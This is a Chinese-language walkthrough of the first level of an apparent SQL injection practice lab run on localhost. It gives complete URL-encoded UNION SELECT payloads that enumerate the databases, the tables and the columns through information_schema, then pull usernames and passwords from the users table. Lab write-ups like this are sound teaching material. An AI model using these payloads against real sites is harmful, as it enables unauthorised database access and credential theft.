Less-1
输入查询语句?id=1后页面返回为:
先简单判断一下该页面有无注入点: 在后面加一个单引号后,页面返回如下信息:
通过这个页面我们可以知道至少两个信息:一、我们构造的SQL语句被执行,也就是该页面有注入 。 二、数据库为mysql
尝试用order by 猜字段长度
通过返回页面我们可以知道字段为3
尝试利用union select构造SQL语句,爆出可利用的字段:
得出一、union select可以利用 二、我们可利用的是字段2和3
尝试获得数据库版本:
MySQL版本大于5,可以利用information_shema
尝试得到所有数据库名:http://localhost/sqli/Less-1/?id=-1%27%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%20--+
尝试得到security数据库中的所有表(选择security数据库的原因是因为觉得它里的信息最有用):http://localhost/sqli/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--+
尝试得到users表中的字段(选择users的原因同上):http://localhost/sqli/Less-1/?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27%20--+
尝试得到字段中的内容:http://localhost/sqli/Less-1/?id=-1%27%20union%20select%201,username,password%20from%20users%20where%20id=3%20--+
通过修改URL最后的id的值可以获得不同的用户名和密码
Less-1完成。